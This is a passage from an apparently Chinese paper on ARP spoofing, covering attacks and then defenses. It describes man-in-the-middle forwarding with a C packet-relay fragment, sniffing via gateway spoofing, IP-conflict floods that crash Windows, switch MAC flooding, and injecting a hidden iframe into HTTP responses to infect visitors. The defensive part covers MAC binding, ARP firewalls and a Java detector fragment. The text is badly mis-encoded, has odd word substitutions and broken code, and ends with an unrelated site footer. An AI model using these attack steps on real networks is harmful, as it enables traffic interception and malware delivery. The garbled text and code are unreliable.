hù)據(jù)包完全認(rèn)為是從A發(fā)送來的。不過,C發(fā)送的數(shù)據(jù)包又直接傳遞給A,倘若再次進(jìn)行對(duì)C的ARP哄騙?,F(xiàn)在B就完全成為A與C的中間橋梁了.(1)將B發(fā)向A的數(shù)據(jù)包轉(zhuǎn)發(fā)到AlpPacket=PacketReceivePacket(lpAdapter,lpPacket2,TRUE);if(PacketSendPacket(lpAdapter,lpPacket1,TRUE)==FALSE){printf("Errorsendingthepackets!\n");return0;}printf("SendtoAok!\n");(2)將A發(fā)向B的數(shù)據(jù)包轉(zhuǎn)發(fā)到BlpPacket=PacketReceivePacket(lpAdapter,lpPacket1,TRUE);if(PacketSendPacket(lpAdapter,lpPacket2,TRUE)==FALSE){printf(”Errorsendingthepackets!\n");return0;}printf(”SendtoBok!\n");PacketFreePacket(lpPacket);PacketCloseAdapter(lpAdapter);3。5偵聽攻擊源C既然可以收取與轉(zhuǎn)發(fā)數(shù)據(jù),當(dāng)然也就可以偵聽A與B之間的通信數(shù)據(jù)了.例如局域網(wǎng)環(huán)境為192.168.0.xxx,子網(wǎng)掩碼為255。255.255。0,網(wǎng)關(guān)為192.168.0。1。我們的IP為192。168.0。3,想要Sniffer192。168。0。2的數(shù)據(jù)包.由于網(wǎng)關(guān)為192。168.0.1,所以我們就只要哄騙192.168.0。1和192。168。0.2就可以了。也就是說告知192.168。0.1,的MAC地址是自己(192.168。0.3);然后再告知192.168。0.2,192。168.0。1的MAC地址是自己(192。168。0.3)。這樣以來全部的數(shù)據(jù)包都會(huì)發(fā)到192.168。0。3,并且由192。168。0.3實(shí)現(xiàn)轉(zhuǎn)發(fā)同樣在192.168.0。2上面也會(huì)發(fā)現(xiàn)192。168.0。1和192.168.0。3的MAC地址是一樣的。這樣我們就在和192.168。0.2之間實(shí)現(xiàn)了ARP哄騙。3。6用ARP攻擊WINDOWS系統(tǒng)(1)攻破屏幕保護(hù):利用IP沖突的級(jí)別比屏保高,當(dāng)有沖突時(shí),就會(huì)跳出屏保。需要保持較大的ARP包數(shù)量才能起效。數(shù)據(jù)包發(fā)送原理與3。2中程序所述相同,依據(jù)實(shí)驗(yàn)一般需要達(dá)到每秒1000次以上頻率。(2)導(dǎo)致IP沖突死機(jī):用ARP哄騙導(dǎo)致IP沖突,WINDOWS在處理IP沖突時(shí),處理不過來,導(dǎo)致死機(jī)。3。7對(duì)交換機(jī)攻擊(1)對(duì)交換機(jī)的MAC哄騙:交換機(jī)上同樣維護(hù)著一個(gè)動(dòng)態(tài)的MAC緩存。交換機(jī)的一般工作原理是:首先,交換機(jī)內(nèi)部有一個(gè)對(duì)應(yīng)的列表,交換機(jī)的端口對(duì)應(yīng)MAC地址表PorttoMac記錄著每一個(gè)端口下面存在那些MAC地址,這個(gè)表開頭是空的,交換機(jī)從來往數(shù)據(jù)幀中學(xué)習(xí)。例如,當(dāng)Port1口所接的計(jì)算機(jī)發(fā)出了一個(gè)數(shù)據(jù)幀,這幀數(shù)據(jù)從Port1進(jìn)入交換機(jī),交換機(jī)就取這個(gè)數(shù)據(jù)幀的原MAC地址AAAAAAAAAA,然后在地址表中記錄:Port1對(duì)應(yīng)AAAAAAAAAAAA。當(dāng)對(duì)應(yīng)表項(xiàng)建立后,全部發(fā)向MAC地址為AAAAAAAAAAAA的數(shù)據(jù)幀,就全從Port1口輸出,而不會(huì)從其它的口輸出。與對(duì)計(jì)算機(jī)的ARP哄騙相類似,如果把交換機(jī)上的MAC-PORT表修改了,那么對(duì)應(yīng)的MACtoPORT就一樣跟著轉(zhuǎn)變,原來不應(yīng)該發(fā)送到探測器的數(shù)據(jù)結(jié)果發(fā)送過來了,這樣也達(dá)到了探測的目的。例如,修B發(fā)送的數(shù)據(jù)包MAC地址為原來A的MAC地址,當(dāng)經(jīng)過交換機(jī)的時(shí)候,交換機(jī)發(fā)現(xiàn)端口B對(duì)應(yīng)的地址是機(jī)器A的MAC地址,于是就將會(huì)把A的MAC地址同端口B相對(duì)應(yīng),從而把發(fā)送給A的數(shù)據(jù)從端口B傳輸了,原來這些應(yīng)該是傳送到端口A的。因此,從機(jī)器B就能夠獲得發(fā)送給A的數(shù)據(jù)。(2)對(duì)交換機(jī)的溢出攻擊:就象交換機(jī)的MAC和Port對(duì)應(yīng)關(guān)系形成的原理,由于PorttoMac緩存表是動(dòng)態(tài)更新的,那么讓整個(gè)交換機(jī)的端口表都轉(zhuǎn)變,對(duì)交換機(jī)進(jìn)行MAC地址哄騙的洪水攻擊,不斷發(fā)送大量假M(fèi)AC地址的數(shù)據(jù)包,交換機(jī)就會(huì)去更新PorttoMac緩存,如果能通過這樣的方法把以前正常的PorttoMAC對(duì)應(yīng)的關(guān)系破壞了,那么交換機(jī)就會(huì)進(jìn)行泛洪發(fā)送給每一個(gè)端口,讓交換機(jī)基本變成一個(gè)HUB,向全部的端口發(fā)送數(shù)據(jù)包。交換機(jī)對(duì)這種極限情況的處理,由于屬于不正常情況,可能會(huì)引起包丟失情況,最終導(dǎo)致交換機(jī)系統(tǒng)的崩潰.3。8掛載病毒當(dāng)實(shí)現(xiàn)“Man—In-The-Middle”重定向后,就可以通過在ARP包轉(zhuǎn)發(fā)過程中進(jìn)行病毒掛載??梢圆挥毛@得目標(biāo)主機(jī)的權(quán)限就直接在他供應(yīng)的網(wǎng)頁上加載病毒。這種手段格外隱蔽,不改動(dòng)任何目標(biāo)主機(jī)的頁面或者是配置,在網(wǎng)絡(luò)傳輸?shù)倪^程中間直接插入病毒的語句,或是調(diào)用其他網(wǎng)站上事先籌備好的病毒。如上文所述,“Man—In—The—Middle"重定向,實(shí)際上相當(dāng)于將攻擊服務(wù)器作為路由轉(zhuǎn)發(fā)設(shè)備。以表2-3中環(huán)境為例,正常情況下A訪問B,A是訪問的正??蛻?,B服務(wù)器,C是攻擊主機(jī)。當(dāng)ARP攻擊成功實(shí)現(xiàn)“Man-In-The-Middle"重定向后,C成為A與B之間的IP包轉(zhuǎn)發(fā)器。這時(shí),A向B發(fā)出HTTP懇求,C推斷下是哪個(gè)客戶端發(fā)過來的包,轉(zhuǎn)發(fā)給B,然后B返回HTTP響應(yīng)的時(shí)候,在HTTP響應(yīng)包中,插入一段病毒的代碼,再將修改過的包返回的正常的客戶A,此時(shí)完成一次病毒掛載。本文中第一章的實(shí)例就是ARP掛病毒攻擊。WEB服務(wù)器網(wǎng)關(guān)的MAC地址被ARP攻擊篡改為攻擊源地址,哄騙了數(shù)據(jù)報(bào)走向,然后攻擊源修改一些定義的關(guān)鍵字加入<iframesrc=""width=1height=1frameborder=0></iframe>,最后使全部訪問的客戶機(jī)中毒。第4章ARP哄騙攻擊防范4.1ARP防護(hù)整體布局思路在上文我們分析了ARP哄騙攻擊的原理危害,以及關(guān)鍵攻擊源代碼。了解到ARP類攻擊的特征后,我們可以通過在計(jì)算機(jī)或者交換器上綁定MAC地址來防止ARP哄騙,但是在大型公眾上網(wǎng)網(wǎng)絡(luò)環(huán)境中作到每個(gè)單點(diǎn)都進(jìn)行MAC綁定就相當(dāng)困難了。所以需要在網(wǎng)絡(luò)環(huán)境中安插ARP哄騙包探測工具來進(jìn)行整體的布局,以應(yīng)對(duì)ARP哄騙可能存在的多種攻擊手段,如:拒絕服務(wù)、數(shù)據(jù)竊聽、病毒木馬掛載、強(qiáng)制訪問等。從上文ARP攻擊原理我們可以看出,防范ARP哄騙攻擊最大困難在于其攻擊不是針對(duì)服務(wù)器或交換機(jī)系統(tǒng)本身的,而且攻擊源可以在網(wǎng)段內(nèi)任何一個(gè)地方隱藏,其隱蔽性很高。所以有時(shí)候即使我們發(fā)現(xiàn)了攻擊的存在,要在最短時(shí)間內(nèi)快速定位攻擊源也是格外困難得事情。這就意味著像防治一般攻擊或病毒那樣單一的從服務(wù)器系統(tǒng)或者從網(wǎng)絡(luò)網(wǎng)關(guān)上進(jìn)行防范效果不是很好。因此,我們提出的ARP攻擊防范策略需要從三方面同時(shí)入手:計(jì)算機(jī)系統(tǒng)平安加固、MAC—ARP對(duì)應(yīng)表管理、以及網(wǎng)絡(luò)非法ARP包探測。圖4-1ARP攻擊防護(hù)體系在圖4-1中描述了ARP綜合防護(hù)體系中各種手段的組成。簡略方法有:(1)設(shè)置靜態(tài)的MACtoIP對(duì)應(yīng)表,并防止黑客刷新靜態(tài)轉(zhuǎn)換表。不要把網(wǎng)絡(luò)平安信任關(guān)系建立在IP基礎(chǔ)上或MAC基礎(chǔ)上,盡量將信任關(guān)系應(yīng)該建立在IP+MAC上.(2)使用MAC地址管理服務(wù)器。通過該服務(wù)器查找自己的ARP轉(zhuǎn)換表來響應(yīng)其他機(jī)器的ARP廣播。(3)使用代理IP的傳輸。(4)使用防火墻隔離非信任域?qū)?nèi)網(wǎng)機(jī)器的ARP包傳輸。(5)定期使用rarp懇求來檢查ARP響應(yīng)的真實(shí)性。(6)定期輪詢檢查主機(jī)上的ARP緩存。(7)使用防火墻連續(xù)監(jiān)控網(wǎng)絡(luò).(8)使用ARP探測工具,在網(wǎng)絡(luò)上探測非法ARP廣播數(shù)據(jù)幀。4.2計(jì)算機(jī)系統(tǒng)平安加固目前很多常見的一般ARP攻擊常常以病毒程序的形式存在。其中傳播甚廣的有“網(wǎng)游大盜”、“高波”等,這些ARP病毒寄存于Windows系統(tǒng)中,且一般會(huì)用到npptools.dll等系統(tǒng)漏洞,所以只要做好對(duì)操作系統(tǒng)的升級(jí)與加固可以防止此類病毒感染。(1)npptools.dll是windows系統(tǒng)的一個(gè)動(dòng)態(tài)庫(networkpacketprovideroolshelper)被ARP病毒利用,所以,禁止了npptools。dll將使此類病毒無法正常運(yùn)行.簡略方法是:在平安模式中,打開WINDOWS\SYSTEM32\NPPTOOLS.DLL文件.刪除這個(gè)文件后,用零字節(jié)的文件替換.最后將nnptools。dll保存為只讀文件。(2)給系統(tǒng)安裝補(bǔ)丁程序。通過WindowsUpdate安裝好系統(tǒng)補(bǔ)丁程序(關(guān)鍵更新、平安更新和ServicePack)(3)給系統(tǒng)管理員帳戶設(shè)置足夠簡潔的強(qiáng)密碼,最好能是12位以上,字母+數(shù)字+符號(hào)的組合;也可以禁用/刪除一些不使用的帳戶(4)常常更新殺毒軟件(病毒庫),設(shè)置允許的可設(shè)置為每天定時(shí)自動(dòng)更新。安裝并使用網(wǎng)絡(luò)防火墻軟件,網(wǎng)絡(luò)防火墻在防病毒過程中也可以起到至關(guān)重要的作用,能有效地阻擋自來網(wǎng)絡(luò)的攻擊和病毒的入侵。部分盜版Windows用戶不能正常安裝補(bǔ)丁,不妨通過使用網(wǎng)絡(luò)防火墻等其它方法來做到肯定的防護(hù)(5)關(guān)閉一些不需要的服務(wù),條件允許的可關(guān)閉一些沒有必要的共享,也包括C$、D$等管理共享。完全單機(jī)的用戶也可直接關(guān)閉Server服務(wù)4。3ARP殺毒軟件目前,有一些安裝在系統(tǒng)上的ARP專殺軟件和病毒防火墻產(chǎn)品可以通過在系統(tǒng)內(nèi)核層攔截虛假ARP數(shù)據(jù)包以及主動(dòng)通告網(wǎng)關(guān)本機(jī)正確的MAC地址,它能夠保障單機(jī)與網(wǎng)關(guān)之間數(shù)據(jù)流向不經(jīng)過第三者。ARP防火墻的功能包括:(1)攔截ARP攻擊:在系統(tǒng)內(nèi)核層攔截外部虛假ARP數(shù)據(jù)包,保障系統(tǒng)不受ARP哄騙、ARP攻擊影響,保持網(wǎng)絡(luò)暢通及通訊平安;(2)在系統(tǒng)內(nèi)核層攔截本機(jī)對(duì)外的ARP攻擊數(shù)據(jù)包,以削減感染惡意程序后對(duì)外攻擊給用戶帶來的麻煩;(3)攔截IP沖突.在系統(tǒng)內(nèi)核層攔截IP沖突數(shù)據(jù)包,保障系統(tǒng)不受IP沖突攻擊的影響;(4)拒絕服務(wù)攻擊抑制。在系統(tǒng)內(nèi)核層攔截本機(jī)對(duì)外的TCPSYN/UDP/ICMP/ARPDoS攻擊數(shù)據(jù)包,定位惡意發(fā)動(dòng)DoS攻擊的程序;(5)除了網(wǎng)關(guān)外,不響應(yīng)其它機(jī)器發(fā)送的ARPRequest,達(dá)到隱身效果,削減受到ARP攻擊的幾率;(6)ARP數(shù)據(jù)分析.分析本機(jī)接收到的全部ARP數(shù)據(jù)包,掌握網(wǎng)絡(luò)動(dòng)態(tài),找出潛在的攻擊者或中毒的機(jī)器;(7)監(jiān)測ARP緩存.自動(dòng)監(jiān)測本機(jī)ARP緩存表,如發(fā)現(xiàn)網(wǎng)關(guān)MAC地址被惡意程序篡改;(8)主動(dòng)防御.主動(dòng)與網(wǎng)關(guān)保持通訊,通告網(wǎng)關(guān)正確的MAC地址,以保持網(wǎng)絡(luò)暢通及通訊平安;(9)追蹤攻擊者。發(fā)現(xiàn)攻擊行為后,依據(jù)ARP包內(nèi)數(shù)據(jù)來鎖定攻擊者IP地址;(10)ARP病毒專殺。依據(jù)ARP病毒特征碼來掃描病毒;(12)ARP緩存保護(hù)。防止惡意程序篡改本機(jī)ARP緩存。(13)自身進(jìn)程保護(hù).防止被惡意軟件終止。雖然這些ARP病毒防火墻與專殺殺軟件能夠保證系統(tǒng)自身ARP表的正確性,然而只要他訪問的服務(wù)器被攻擊者實(shí)施“Man—In-The-Middle”,同樣會(huì)使得機(jī)器中毒.這一點(diǎn)更加說明白整體防護(hù)對(duì)抵抗ARP攻擊的重要性。4.4ARP攻擊探測器IP地址與MAC地址綁定是最簡潔有效的ARP攻擊防御方法。但是,在大型公眾上網(wǎng)環(huán)境中使用靜態(tài)IP地址和MAC地址的綁定會(huì)帶來巨大的管理負(fù)荷.在大型公眾上網(wǎng)網(wǎng)絡(luò)中無法有效對(duì)每一臺(tái)終端、服務(wù)器與網(wǎng)絡(luò)設(shè)備都使用靜態(tài)ARP表。首先,公眾網(wǎng)絡(luò)終端數(shù)量浩大一般的營業(yè)性網(wǎng)吧中通常有幾百臺(tái)終端,加上交換機(jī)與網(wǎng)絡(luò)設(shè)備后需要維護(hù)的ARP表有上千個(gè)之多,全部人工設(shè)置不現(xiàn)實(shí)。其次,DHCP網(wǎng)絡(luò)動(dòng)態(tài)地址安排以及各種負(fù)載均衡策略將無法適應(yīng)MAC地址綁定。所以,除了MAC地址管理之外,通常需要使用ARP攻擊探測器進(jìn)行對(duì)ARP攻擊的防御.目前市場上還沒有成熟的專門針對(duì)ARP攻擊的探測器.在大型網(wǎng)絡(luò)中可以自己通過編程實(shí)現(xiàn),其原理是在其上運(yùn)行存放一張局域網(wǎng)ARP表,記錄有權(quán)威的ARP信息,嗅探器通過IDS的原理在路由器鏡像口偵聽局域網(wǎng)內(nèi)ARP廣播包內(nèi)容,如果網(wǎng)絡(luò)內(nèi)廣播包與ARP表不全都,或者ARP廣播幀超過合理數(shù)量的閥值,則探測器分析后會(huì)匹配找到ARP欺哄騙特征后,探測器立刻報(bào)警并進(jìn)行相應(yīng)的策略聯(lián)動(dòng)。以下列舉一個(gè)簡潔的程序片段,他將ARP數(shù)據(jù)幀中的地址與網(wǎng)關(guān)地址比較,如果不全都則報(bào)警。staticStringrouter="00:14:f2:3c:8c:00";//網(wǎng)關(guān)ARP,staticStringrouterip="/63.125。35.29”;//網(wǎng)關(guān)IP。staticStringbroadcast=”00:00:00:00:00:00”;publicstaticvoidarp()throwsjava.io.IOException{省略。。.。。.if(p.getSenderHardwareAddress()。toString()。equals(router)||p.getTargetHardwareAddress()。toString().equals(router)||p.getSenderProtocolAddress().toString()。equals(routerip)||p.getTargetProtocolAddress().toString().equals(routerip)){if(p.getSenderProtocolAddress()。toString().equals(routerip)){if(!(p。getSenderHardwareAddress().toString()
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 各種嵌入式集成電路相關(guān)行業(yè)投資方案
- 燈具設(shè)計(jì)師工作總結(jié)
- 2025年度保潔員工作計(jì)劃
- 酒店管理的營銷策略
- 醫(yī)療器械設(shè)計(jì)師的具體任務(wù)
- 證券投資行業(yè)助理工作總結(jié)
- 金融行業(yè)前臺(tái)接待工作總結(jié)
- 社保督促簽訂三方協(xié)議報(bào)告
- 二零二五年度房改房二手房買賣合同社區(qū)綠化維護(hù)協(xié)議3篇
- 2025年石家莊貨運(yùn)從業(yè)資格證模擬考試答案
- 2024年中國陶瓷碗盆市場調(diào)查研究報(bào)告
- ISO 56001-2024《創(chuàng)新管理體系-要求》專業(yè)解讀與應(yīng)用實(shí)踐指導(dǎo)材料之22:“8運(yùn)行-8.1運(yùn)行策劃和控制”(雷澤佳編制-2025B0)
- 單位網(wǎng)絡(luò)安全攻防演練
- 新交際英語(2024)一年級(jí)上冊(cè)Unit 1~6全冊(cè)教案
- 神經(jīng)外科基礎(chǔ)護(hù)理課件
- 2024中國儲(chǔ)備糧管理集團(tuán)限公司招聘700人易考易錯(cuò)模擬試題(共500題)試卷后附參考答案
- 內(nèi)蒙古赤峰市2023-2024學(xué)年高一上學(xué)期期末考試物理試題(含答案)
- 建筑工程機(jī)械設(shè)備安全技術(shù)操作規(guī)程
- 故宮2024課件:中國古代皇家宗教信仰探秘
- 2024年中國石油鉆機(jī)電機(jī)市場調(diào)查研究報(bào)告
- 2024年中國心力衰竭診斷和治療指南2024版
評(píng)論
0/150
提交評(píng)論